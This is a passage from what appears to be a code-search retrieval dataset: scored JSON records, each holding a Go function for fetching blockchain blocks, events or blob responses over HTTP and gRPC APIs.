err := rh.JSONSet()\n\t// CHAIN should be like: https://rpc.testnet1.test.gravitydex.io/\n\tbase := chainurl + \"block?height=\"\n\tfmt.Println(block)\n\trequrl := base + strconv.Itoa(block)\n\n\tfmt.Println(\"request url\", requrl)\n\n\tresp, err := http.Get(requrl)\n\tif err != nil {\n\t\tfmt.Println(\"ERROR!\", err)\n\t}\n\tdefer resp.Body.Close()\n\tbody, err := io.ReadAll(resp.Body)\n\tif err != nil {\n\t\tfmt.Println(\"ERROR!\", err)\n\t}\n\n\tfmt.Println(\"body\", body)\n\tres, err := rh.JSONSet(\"height\", \"status\", body)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\n\tfmt.Println(res)\n\n}", "title": "" }, { "docid": "4cf45bf2c7e31395856f3f20dd86ef70", "score": "0.5472265", "text": "func (a *ApiDB) GetBlock(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Add(\"Content-Type\", \"application/json\")\n\tkeys, ok := r.URL.Query()[\"userId\"]\n\tif !ok || len(keys[0]) < 1 {\n\t\tio.WriteString(w, `{ \"message\": \"Url Param 'userid' is missing\"}`)\n\t\treturn\n\t}\n\tidowner, _ := strconv.Atoi(keys[0])\n\tlistBlock := BUSINESS.GetBlockByIdOwner(a.Db, idowner)\n\tjsonlist, _ := json.Marshal(listBlock)\n\tif len(listBlock) == 0 {\n\t\tio.WriteString(w, `{\"status\": 200,\n \t\t\t\t\"message\": \"Get Blocks success\",\n \t\t\t\t\"data\": {\n \t\t\t\"blocks\": [] }}`)\n\t\treturn\n\t}\n\tstringresult := `{\"status\": 200,\n \t\t\t\t\"message\": \"Get Blocks success\",\n \t\t\t\t\"data\": {\n \t\t\t\"blocks\":`\n\tstringresult += string(jsonlist)\n\tstringresult += \"}}\"\n\tio.WriteString(w, stringresult)\n}", "title": "" }, { "docid": "ce2bc0e7a58c4228be821d28d059cac8", "score": "0.54043126", "text": "func (*GetRawBlockResponse) Descriptor() ([]byte, []int) {\n\treturn file_bchrpc_proto_rawDescGZIP(), []int{11}\n}", "title": "" }, { "docid": "1e418689603ec9612491c0eba204e737", "score": "0.5402749", "text": "func (*GetBlockFilterResponse) Descriptor() ([]byte, []int) {\n\treturn file_bchrpc_proto_rawDescGZIP(), []int{13}\n}", "title": "" }, { "docid": "70d2c8185255ccc7cbb22e92eb5fbe35", "score": "0.53886527", "text": "func (a *BlockApiService) RestBlockExtended(ctx context.Context, blockHash string) (Block, *http.Response, error) {\n\tvar (\n\t\tlocalVarHttpMethod = strings.ToUpper(\"Get\")\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t\tlocalVarReturnValue Block\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/block/{blockHash}\"\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"blockHash\"+\"}\", fmt.Sprintf(\"%v\", blockHash), -1)\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := url.Values{}\n\tlocalVarFormParams := url.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHttpContentTypes := []string{}\n\n\t// set Content-Type header\n\tlocalVarHttpContentType := selectHeaderContentType(localVarHttpContentTypes)\n\tif localVarHttpContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHttpContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHttpHeaderAccepts := []string{\"application/octet-stream\", \"text/plain\", \"application/json\"}\n\n\t// set Accept header\n\tlocalVarHttpHeaderAccept := selectHeaderAccept(localVarHttpHeaderAccepts)\n\tif localVarHttpHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHttpHeaderAccept\n\t}\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHttpMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHttpResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHttpResponse == nil {\n\t\treturn localVarReturnValue, localVarHttpResponse, err\n\t}\n\n\tlocalVarBody, err := ioutil.ReadAll(localVarHttpResponse.Body)\n\tlocalVarHttpResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHttpResponse, err\n\t}\n\n\tif localVarHttpResponse.StatusCode < 300 {\n\t\t// If we succeed, return the data, otherwise pass on to decode error.\n\t\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHttpResponse.Header.Get(\"Content-Type\"));\n\t\tif err == nil { \n\t\t\treturn localVarReturnValue, localVarHttpResponse, err\n\t\t}\n\t}\n\n\tif localVarHttpResponse.StatusCode >= 300 {\n\t\tnewErr := GenericSwaggerError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHttpResponse.Status,\n\t\t}\n\t\t\n\t\tif localVarHttpResponse.StatusCode == 200 {\n\t\t\tlocalVarBody, err := ioutil.ReadAll(localVarHttpResponse.Body)\n\t\t\tif err != nil {\n\t\t\t\treturn localVarReturnValue, localVarHttpResponse, err\n\t\t\t}\n\n\t\t\tvar v Block\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHttpResponse.Header.Get(\"Content-Type\"));\n\t\t\t\tif err != nil {\n\t\t\t\t\tnewErr.error = err.Error()\n\t\t\t\t\treturn localVarReturnValue, localVarHttpResponse, newErr\n\t\t\t\t}\n\t\t\t\tnewErr.model = v\n\t\t\t\treturn localVarReturnValue, localVarHttpResponse, newErr\n\t\t}\n\t\t\n\t\treturn localVarReturnValue, localVarHttpResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHttpResponse, nil\n}", "title": "" }, { "docid": "e7fd2e73c83280055db09fc4cbca06c6", "score": "0.53580487", "text": "func (a *BlockAPIService) Block(\n\tctx _context.Context,\n\tblockRequest *types.BlockRequest,\n) (*types.BlockResponse, *types.Error, error) {\n\tvar (\n\t\tlocalVarPostBody interface{}\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/block\"\n\tlocalVarHeaderParams := make(map[string]string)\n\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{\"application/json\"}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"application/json\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\t// body params\n\tlocalVarPostBody = blockRequest\n\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarPostBody, localVarHeaderParams)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(ctx, r)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn nil, nil, err\n\t}\n\n\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\n\tdefer localVarHTTPResponse.Body.Close()\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode != _nethttp.StatusOK {\n\t\tvar v types.Error\n\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\n\t\treturn nil, &v, fmt.Errorf(\"%+v\", v)\n\t}\n\n\tvar v types.BlockResponse\n\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\treturn &v, nil, nil\n}", "title": "" }, { "docid": "ca3ae437d998174ab18b77775a0f89d2", "score": "0.53144276", "text": "func (*GetEventsByContractKeyResponse) Descriptor() ([]byte, []int) {\n\treturn file_com_daml_ledger_api_v1_event_query_service_proto_rawDescGZIP(), []int{3}\n}", "title": "" }, { "docid": "e4f7a5aa3e511128fe57acc8d165e6a2", "score": "0.5311797", "text": "func (rem *HTTPClient) GetBlock(ctx context.Context, id string) (data []byte, err error) {\n\turl := fmt.Sprintf(\"%s?block=%s\", rem.URL, id)\n\treq, err := http.NewRequest(http.MethodGet, url, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treq.Header.Set(\"Accept\", binaryMIMEType)\n\n\tres, err := http.DefaultClient.Do(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif res.StatusCode != http.StatusOK {\n\t\tvar msg string\n\t\tif data, err := ioutil.ReadAll(res.Body); err == nil {\n\t\t\tmsg = string(data)\n\t\t}\n\t\treturn nil, fmt.Errorf(\"remote error: %d %s\", res.StatusCode, msg)\n\t}\n\tdefer res.Body.Close()\n\n\treturn ioutil.ReadAll(res.Body)\n}", "title": "" }, { "docid": "bddf549d7c4ef68cf370f65343ea64e8", "score": "0.53090185", "text": "func (s *Service) Events(ctx context.Context, req *pb.EventsRequest) (*pb.EventsResponse, error) {\n\tcurrentHeight := s.blockchain.Height()\n\tif req.Height > currentHeight {\n\t\treturn nil, status.Errorf(codes.NotFound, \"wanted to load target %d but only found up to %d\", req.Height, currentHeight)\n\t}\n\n\theight := uint32(req.Height)\n\tevents := s.blockchain.GetEventsDB().LoadEvents(height)\n\tresultEvents := make([]*_struct.Struct, 0, len(events))\n\tfor _, event := range events {\n\n\t\tif timeoutStatus := s.checkTimeout(ctx); timeoutStatus != nil {\n\t\t\treturn nil, timeoutStatus.Err()\n\t\t}\n\n\t\tvar find = true\n\t\tfor _, s := range req.Search {\n\t\t\tif event.AddressString() == s || event.ValidatorPubKeyString() == s {\n\t\t\t\tfind = true\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tfind = false\n\t\t}\n\t\tif !find {\n\t\t\tcontinue\n\t\t}\n\n\t\tmarshalJSON, err := s.cdc.MarshalJSON(event)\n\t\tif err != nil {\n\t\t\treturn nil, status.Errorf(codes.Internal, err.Error())\n\t\t}\n\n\t\tdata, err := encodeToStruct(marshalJSON)\n\t\tif err != nil {\n\t\t\treturn nil, status.Error(codes.Internal, err.Error())\n\t\t}\n\n\t\tresultEvents = append(resultEvents, data)\n\t}\n\treturn &pb.EventsResponse{\n\t\tEvents: resultEvents,\n\t}, nil\n}", "title": "" }, { "docid": "c5cd4f9852109d73c3970a5a14c67fc0", "score": "0.53032315", "text": "func (hlr *HandlerEnv) GetOneBlockWrite(c *gin.Context) {\n\tvar (\n\t\terr error\n\t\tdocid string\n\t\tblkWrt mdl.BlockWrite\n\t\trsp = make(map[string]interface{})\n\t\trspMap = make(map[string]interface{})\n\t\tarrMeta []map[string]interface{}\n\t\tarrFiles []map[string]interface{}\n\t)\n\n\t// Grab the docid from the inbound request\n\tdocid = c.Param(\"docid\")\n\t// Generate an object id from the docid parameter\n\t_, err = prmtv.ObjectIDFromHex(docid)\n\tif err != nil {\n\t\t// error generating an objectid from the request\n\t\tlog.Printf(\"ERROR: %v - error generating an objectid from the request. See: %v\\n\",\n\t\t\tutils.FileLine(),\n\t\t\terr)\n\t\trsp[\"msg\"] = \"an error occurred, please try again\"\n\t\tc.JSON(http.StatusInternalServerError, rsp)\n\t\treturn\n\t}\n\n\t// Fetch a blockwrite\n\terr = hlr.CollBlockWrites.FindOne(context.TODO(), bson.D{{\"requestid\", docid}}).Decode(&blkWrt)\n\tif err != nil {\n\t\t// error fetching a blockwrite object\n\t\tlog.Printf(\"ERROR: %v - error fetching a blockwrite object. See: %v\\n\",\n\t\t\tutils.FileLine(),\n\t\t\terr)\n\t\trsp[\"msg\"] = \"error fetching a blockwrite object\"\n\t\tc.JSON(http.StatusInternalServerError, rsp)\n\t\treturn\n\t}\n\n\t// Construct the response object\n\trspMap[\"source\"] = blkWrt.Source\n\trspMap[\"event\"] = blkWrt.Event\n\trspMap[\"timestamp\"] = blkWrt.TimeStamp\n\trspMap[\"request_id\"] = blkWrt.RequestID\n\trspMap[\"config_nometadata\"] = true\n\trspMap[\"config_nofiles\"] = true\n\n\t// Is there metadata to be displayed?\n\tif len(blkWrt.Manifest.MetaData) != 0 {\n\t\t// yes... add the metadata to the response\n\t\trspMap[\"config_nometadata\"] = false\n\n\t\t// Iterate through the metadata maps\n\t\tfor key, val := range blkWrt.Manifest.MetaData {\n\t\t\ttMap := make(map[string]interface{})\n\t\t\ttMap[\"key\"] = key\n\t\t\ttMap[\"value\"] = val\n\n\t\t\tarrMeta = append(arrMeta, tMap)\n\t\t}\n\n\t\t// Add the array of meta data to the response object\n\t\trspMap[\"metadata\"] = arrMeta\n\t}\n\n\t// Are there files to be displayed\n\tif len(blkWrt.Manifest.Contents) != 0 {\n\t\t// yes... add the files to the response\n\t\trspMap[\"config_nofiles\"] = false\n\n\t\t// Iterate through the file maps\n\t\tfor _, val := range blkWrt.Manifest.Contents {\n\t\t\ttMap := make(map[string]interface{})\n\t\t\ttMap[\"hash\"] = val[\"hash\"]\n\t\t\ttMap[\"filename_display\"] = stripDocID(val[\"filename\"])\n\n\t\t\tarrFiles = append(arrFiles, tMap)\n\t\t}\n\n\t\t// Add the array of files to the response object\n\t\trspMap[\"files\"] = arrFiles\n\t}\n\n\t// Grab Blockchain information\n\tvar tMap = make(map[string]string)\n\ttMap[\"network\"] = blkWrt.ChainNetwork\n\ttMap[\"block_number\"] = blkWrt.BlockNumber\n\ttMap[\"block_url\"] = fmt.Sprintf(\"%v%v/%v\",\n\t\tconfig.Consts[\"gochain_testnet_explorer\"],\n\t\t\"block\",\n\t\tblkWrt.BlockNumber)\n\trspMap[\"block_info\"] = tMap\n\n\t// Return the object to the client\n\trsp[\"msg\"] = \"your blockwrite\"\n\trsp[\"content\"] = rspMap\n\tc.JSON(http.StatusOK, rsp)\n}", "title": "" }, { "docid": "0b481d5990d473aa461e707623cbf3f6", "score": "0.52785486", "text": "func (bbsbfur BlockBlobStageBlockFromURLResponse) Response() *http.Response {\n\treturn bbsbfur.rawResponse\n}", "title": "" }, { "docid": "956dbe266370552dd66ac40a97a51b32", "score": "0.5277204", "text": "func GetBlock(w http.ResponseWriter, r *http.Request) {\n\tc, err := r.Cookie(\"session_token\")\n\tif err != nil {\n\t\tif err == http.ErrNoCookie {\n\t\t\thttp.Redirect(w, r, \"/login\", http.StatusFound)\n\t\t\treturn\n\t\t}\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\treturn\n\t}\n\ttkn := c.Value\n\tif len(tkn) == 0 {\n\t\thttp.Redirect(w, r, \"/login\", http.StatusFound)\n\t} else {\n\t\tclaims := &Claims{}\n\t\ttkn, err := jwt.ParseWithClaims(tkn, claims, func(token *jwt.Token) (interface{}, error) {\n\t\t\treturn JwtKey, nil\n\t\t})\n\t\tif err != nil {\n\t\t\tif err == jwt.ErrSignatureInvalid {\n\t\t\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\t\t\treturn\n\t\t\t}\n\t\t\thttp.Redirect(w, r, \"/login\", http.StatusFound)\n\t\t\treturn\n\t\t}\n\t\tif !tkn.Valid {\n\t\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\t} else {\n\t\t\tid, ok := r.URL.Query()[\"id\"]\n\t\t\tif !ok || len(id[0]) < 1 {\n\t\t\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tvar Response Block\n\t\t\tsqlStatement := `SELECT * FROM block WHERE id = $1`\n\t\t\terr := connection.Db.QueryRow(sqlStatement, id[0]).Scan(&Response.ID, &Response.Hash, &Response.Nounce, &Response.PreviousHash, &Response.TimeStamp)\n\t\t\tif err != nil {\n\t\t\t\tw.WriteHeader(http.StatusUnauthorized)\n\t\t\t}\n\t\t\tsqlStatement = `SELECT hash, id FROM transactions WHERE block = $1`\n\t\t\trows, err := connection.Db.Query(sqlStatement, id[0])\n\t\t\tvar transactions []Transaction\n\t\t\tfor rows.Next() {\n\t\t\t\tvar t Transaction\n\t\t\t\terr = rows.Scan(&t.Hash, &t.ID)\n\t\t\t\ttransactions = append(transactions, t)\n\t\t\t}\n\t\t\tResponse.Transactions = transactions\n\t\t\ttmp, _ := template.ParseFiles(\"statics/showBlock.html\")\n\t\t\ttmp.Execute(w, Response)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "ab751582031807b56e578eb41abd868a", "score": "0.52684283", "text": "func (model *ModelDB) GetEventsInBlockRange(fromBlock, toBlock int64) (events []*InternalEvent, err error) {\n\tif fromBlock < 0 {\n\t\tfromBlock = 0\n\t}\n\tif toBlock < 0 {\n\t\ttoBlock = math.MaxInt64\n\t}\n\terr = model.db.Range(\"BlockNumber\", fromBlock, toBlock, &events)\n\tif err == storm.ErrNotFound { //ingore not found error\n\t\terr = nil\n\t}\n\treturn\n}", "title": "" }, { "docid": "5881a797d023407080c2ba565cbe01f3", "score": "0.52592504", "text": "func (n *EventsService) Get(ctx context.Context, req *GetRequest) (*GetResponse, error) {\n\treturn &GetResponse{}, nil\n}", "title": "" }, { "docid": "b76e4059454525ee80e1ac4e24e58489", "score": "0.5253567", "text": "func (bl *web3BlockListener) Respond(id string, blk *block.Block) error {\n\tres := &streamResponse{\n\t\tid: id,\n\t\tresult: &getBlockResult{\n\t\t\tblk: blk,\n\t\t},\n\t}\n\t// send blockInfo thru streaming API\n\tif _, err := bl.streamHandle(res); err != nil {\n\t\tlog.L().Info(\n\t\t\t\"Error when streaming the block\",\n\t\t\tzap.Uint64(\"height\", blk.Height()),\n\t\t\tzap.Error(err),\n\t\t)\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "d781e1eb5146c362b4ea6465f3b2993d", "score": "0.5244197", "text": "func (*GetEventsByContractIdResponse) Descriptor() ([]byte, []int) {\n\treturn file_com_daml_ledger_api_v1_event_query_service_proto_rawDescGZIP(), []int{1}\n}", "title": "" }, { "docid": "a6c244d11277e25b7c6040695cafa150", "score": "0.52105564", "text": "func (client *appendBlobClient) appendBlockHandleResponse(resp *http.Response) (appendBlobClientAppendBlockResponse, error) {\n\tresult := appendBlobClientAppendBlockResponse{RawResponse: resp}\n\tif val := resp.Header.Get(\"ETag\"); val != \"\" {\n\t\tresult.ETag = &val\n\t}\n\tif val := resp.Header.Get(\"Last-Modified\"); val != \"\" {\n\t\tlastModified, err := time.Parse(time.RFC1123, val)\n\t\tif err != nil {\n\t\t\treturn appendBlobClientAppendBlockResponse{}, err\n\t\t}\n\t\tresult.LastModified = &lastModified\n\t}\n\tif val := resp.Header.Get(\"Content-MD5\"); val != \"\" {\n\t\tcontentMD5, err := base64.StdEncoding.DecodeString(val)\n\t\tif err != nil {\n\t\t\treturn appendBlobClientAppendBlockResponse{}, err\n\t\t}\n\t\tresult.ContentMD5 = contentMD5\n\t}\n\tif val := resp.Header.Get(\"x-ms-content-crc64\"); val != \"\" {\n\t\txMSContentCRC64, err := base64.StdEncoding.DecodeString(val)\n\t\tif err != nil {\n\t\t\treturn appendBlobClientAppendBlockResponse{}, err\n\t\t}\n\t\tresult.XMSContentCRC64 = xMSContentCRC64\n\t}\n\tif val := resp.Header.Get(\"x-ms-client-request-id\"); val != \"\" {\n\t\tresult.ClientRequestID = &val\n\t}\n\tif val := resp.Header.Get(\"x-ms-request-id\"); val != \"\" {\n\t\tresult.RequestID = &val\n\t}\n\tif val := resp.Header.Get(\"x-ms-version\"); val != \"\" {\n\t\tresult.Version = &val\n\t}\n\tif val := resp.Header.Get(\"Date\"); val != \"\" {\n\t\tdate, err := time.Parse(time.RFC1123, val)\n\t\tif err != nil {\n\t\t\treturn appendBlobClientAppendBlockResponse{}, err\n\t\t}\n\t\tresult.Date = &date\n\t}\n\tif val := resp.Header.Get(\"x-ms-blob-append-offset\"); val != \"\" {\n\t\tresult.BlobAppendOffset = &val\n\t}\n\tif val := resp.Header.Get(\"x-ms-blob-committed-block-count\"); val != \"\" {\n\t\tblobCommittedBlockCount32, err := strconv.ParseInt(val, 10, 32)\n\t\tblobCommittedBlockCount := int32(blobCommittedBlockCount32)\n\t\tif err != nil {\n\t\t\treturn appendBlobClientAppendBlockResponse{}, err\n\t\t}\n\t\tresult.BlobCommittedBlockCount = &blobCommittedBlockCount\n\t}\n\tif val := resp.Header.Get(\"x-ms-request-server-encrypted\"); val != \"\" {\n\t\tisServerEncrypted, err := strconv.ParseBool(val)\n\t\tif err != nil {\n\t\t\treturn appendBlobClientAppendBlockResponse{}, err\n\t\t}\n\t\tresult.IsServerEncrypted = &isServerEncrypted\n\t}\n\tif val := resp.Header.Get(\"x-ms-encryption-key-sha256\"); val != \"\" {\n\t\tresult.EncryptionKeySHA256 = &val\n\t}\n\tif val := resp.Header.Get(\"x-ms-encryption-scope\"); val != \"\" {\n\t\tresult.EncryptionScope = &val\n\t}\n\treturn result, nil\n}", "title": "" }, { "docid": "636e0d1bedfcc12e66e367219e05ad23", "score": "0.52018815", "text": "func (b *BuildRepoServer) GetBlock(ctx context.Context, req *pb.GetBlockRequest) (*pb.GetBlockResponse, error) {\n\tfilename, err := toFilename(req.File)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tf, err := os.Open(filename)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer f.Close()\n\tbuf := make([]byte, req.Size)\n\tsize, err := f.ReadAt(buf, int64(req.Offset))\n\tif err != io.EOF && err != nil {\n\t\treturn nil, err\n\t}\n\n\tresp := &pb.GetBlockResponse{\n\t\tFile: req.File,\n\t\tOffset: req.Offset,\n\t\tSize: uint32(size),\n\t\tData: buf[:size],\n\t}\n\treturn resp, nil\n}", "title": "" }, { "docid": "5144f294d53100c9dd7d97eda33ef244", "score": "0.5196859", "text": "func (bbcblr BlockBlobCommitBlockListResponse) Response() *http.Response {\n\treturn bbcblr.rawResponse\n}", "title": "" }, { "docid": "46a22c53602403f53502239b1b678b17", "score": "0.5193044", "text": "func (bc *Blockchain) GenerateBlockEvent(blockNum int) beat.Event {\n\tblock, err := bc.GetBlock(blockNum)\n\tif err != nil {\n\t\tlogp.Err(\"GenerateBlockEvent, error: %v\", err)\n\t\treturn beat.Event{}\n\t}\n\n\t//workaround elastic mapping name conflict\n\tif h, ok := block[\"hash\"]; ok {\n\t\tdelete(block, \"hash\")\n\t\tblock[\"blockhash\"] = h\n\t}\n\n\tevent := beat.Event{\n\t\tTimestamp: time.Now(),\n\t\tFields: block,\n\t}\n\treturn event\n}", "title": "" }, { "docid": "0fd047bf318f67412313cbd7bbf65763", "score": "0.5182726", "text": "func (bl *gRPCBlockListener) Respond(_ string, blk *block.Block) error {\n\tvar receiptsPb []*iotextypes.Receipt\n\tfor _, receipt := range blk.Receipts {\n\t\treceiptsPb = append(receiptsPb, receipt.ConvertToReceiptPb())\n\t}\n\tblockInfo := &iotexapi.BlockInfo{\n\t\tBlock: blk.ConvertToBlockPb(),\n\t\tReceipts: receiptsPb,\n\t}\n\th := blk.HashBlock()\n\tblockID := &iotextypes.BlockIdentifier{\n\t\tHash: hex.EncodeToString(h[:]),\n\t\tHeight: blk.Height(),\n\t}\n\t// send blockInfo thru streaming API\n\tif _, err := bl.streamHandle(&iotexapi.StreamBlocksResponse{\n\t\tBlock: blockInfo,\n\t\tBlockIdentifier: blockID,\n\t}); err != nil {\n\t\tlog.L().Info(\n\t\t\t\"Error when streaming the block\",\n\t\t\tzap.Uint64(\"height\", blockInfo.GetBlock().GetHeader().GetCore().GetHeight()),\n\t\t\tzap.Error(err),\n\t\t)\n\t\tbl.errChan <- err\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "18803a2a80487bfc4c7d69ff4914ba91", "score": "0.5172227", "text": "func (c *RpcClient) GetBlock(ctx context.Context, slot uint64) (GetBlockResponse, error) {\n\treturn c.processGetBlock(c.Call(ctx, \"getBlock\", slot))\n}", "title": "" }, { "docid": "bf505d54dbb33771571c189d89f029df", "score": "0.51704276", "text": "func (*GetEventsResponse) Descriptor() ([]byte, []int) {\n\treturn file_ocis_services_eventhistory_v0_eventhistory_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "6d5128e78538aea9abef7b7f9dff9d01", "score": "0.51622945", "text": "func (bl BlockList) Response() *http.Response {\n\treturn bl.rawResponse\n}", "title": "" }, { "docid": "6bf5dbc55c2795a18ab9ac9ca72a5d03", "score": "0.5158823", "text": "func (*BlindedBlockResponse) Descriptor() ([]byte, []int) {\n\treturn file_eth_v2_beacon_block_proto_rawDescGZIP(), []int{2}\n}", "title": "" }, { "docid": "9497fb3f25be665d8aac40f56ad3df9b", "score": "0.5147596", "text": "func (*GetBlockInfoResponse) Descriptor() ([]byte, []int) {\n\treturn file_bchrpc_proto_rawDescGZIP(), []int{7}\n}", "title": "" }, { "docid": "3e15ab7bd6161f07152eb0ca118f2d60", "score": "0.5141008", "text": "func GetEBlock(keymr string) (*EBlock, error) {\n\tparams := keyMRRequest{KeyMR: keymr}\n\treq := NewJSON2Request(\"entry-block\", APICounter(), params)\n\tresp, err := factomdRequest(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif resp.Error != nil {\n\t\treturn nil, resp.Error\n\t}\n\n\teb := new(EBlock)\n\tif err := json.Unmarshal(resp.JSONResult(), eb); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn eb, nil\n}", "title": "" }, { "docid": "c9846817a4aea4858ee2c2268d002f89", "score": "0.5126108", "text": "func (bbsbr BlockBlobStageBlockResponse) Response() *http.Response {\n\treturn bbsbr.rawResponse\n}", "title": "" }, { "docid": "34c10ba9675e7919939c2e7d99a8bdea", "score": "0.51203716", "text": "func (srv *eventServer) GetEvent(ctx context.Context, req *pb.GetEventRequest) (*pb.GetEventResponse, error) {\n\tevents := []*pb.Event{}\n\terrors := \"\"\n\tfor _, stringUUID := range req.GetEventUUID() {\n\t\teventUUID, err := uuid.Parse(stringUUID)\n\t\tif err != nil {\n\t\t\terrors = errors + \"\\n\" + err.Error()\n\t\t\tcontinue\n\t\t}\n\t\tevent, err := srv.storage.GetEvent(eventUUID)\n\t\tif err != nil {\n\t\t\terrors = errors + \"\\n\" + err.Error()\n\t\t\tcontinue\n\t\t}\n\t\tevents = append(events, eventToPb(event))\n\t}\n\tif errors != \"\" {\n\t\treturn &pb.GetEventResponse{Event: events, Status: \"errors occured: \" + errors}, nil\n\t}\n\treturn &pb.GetEventResponse{Event: events, Status: \"ok\"}, nil\n}", "title": "" }, { "docid": "4b9f8edcdba97041e033fea74d2c11a3", "score": "0.51177984", "text": "func (a *DefaultApiService) GetEvent(ctx _context.Context, eventId string, localVarOptionals *GetEventOpts) (EventResponse, *_nethttp.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = _nethttp.MethodGet\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFormFileName string\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t\tlocalVarReturnValue EventResponse\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/events/{eventId}\"\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"eventId\"+\"}\", _neturl.QueryEscape(fmt.Sprintf(\"%v\", eventId)), -1)\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := _neturl.Values{}\n\tlocalVarFormParams := _neturl.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"application/json\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\tif localVarOptionals != nil && localVarOptionals.XAnchoreAccount.IsSet() {\n\t\tlocalVarHeaderParams[\"x-anchore-account\"] = parameterToString(localVarOptionals.XAnchoreAccount.Value(), \"\")\n\t}\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 200 {\n\t\t\tvar v EventResponse\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t}\n\t\treturn 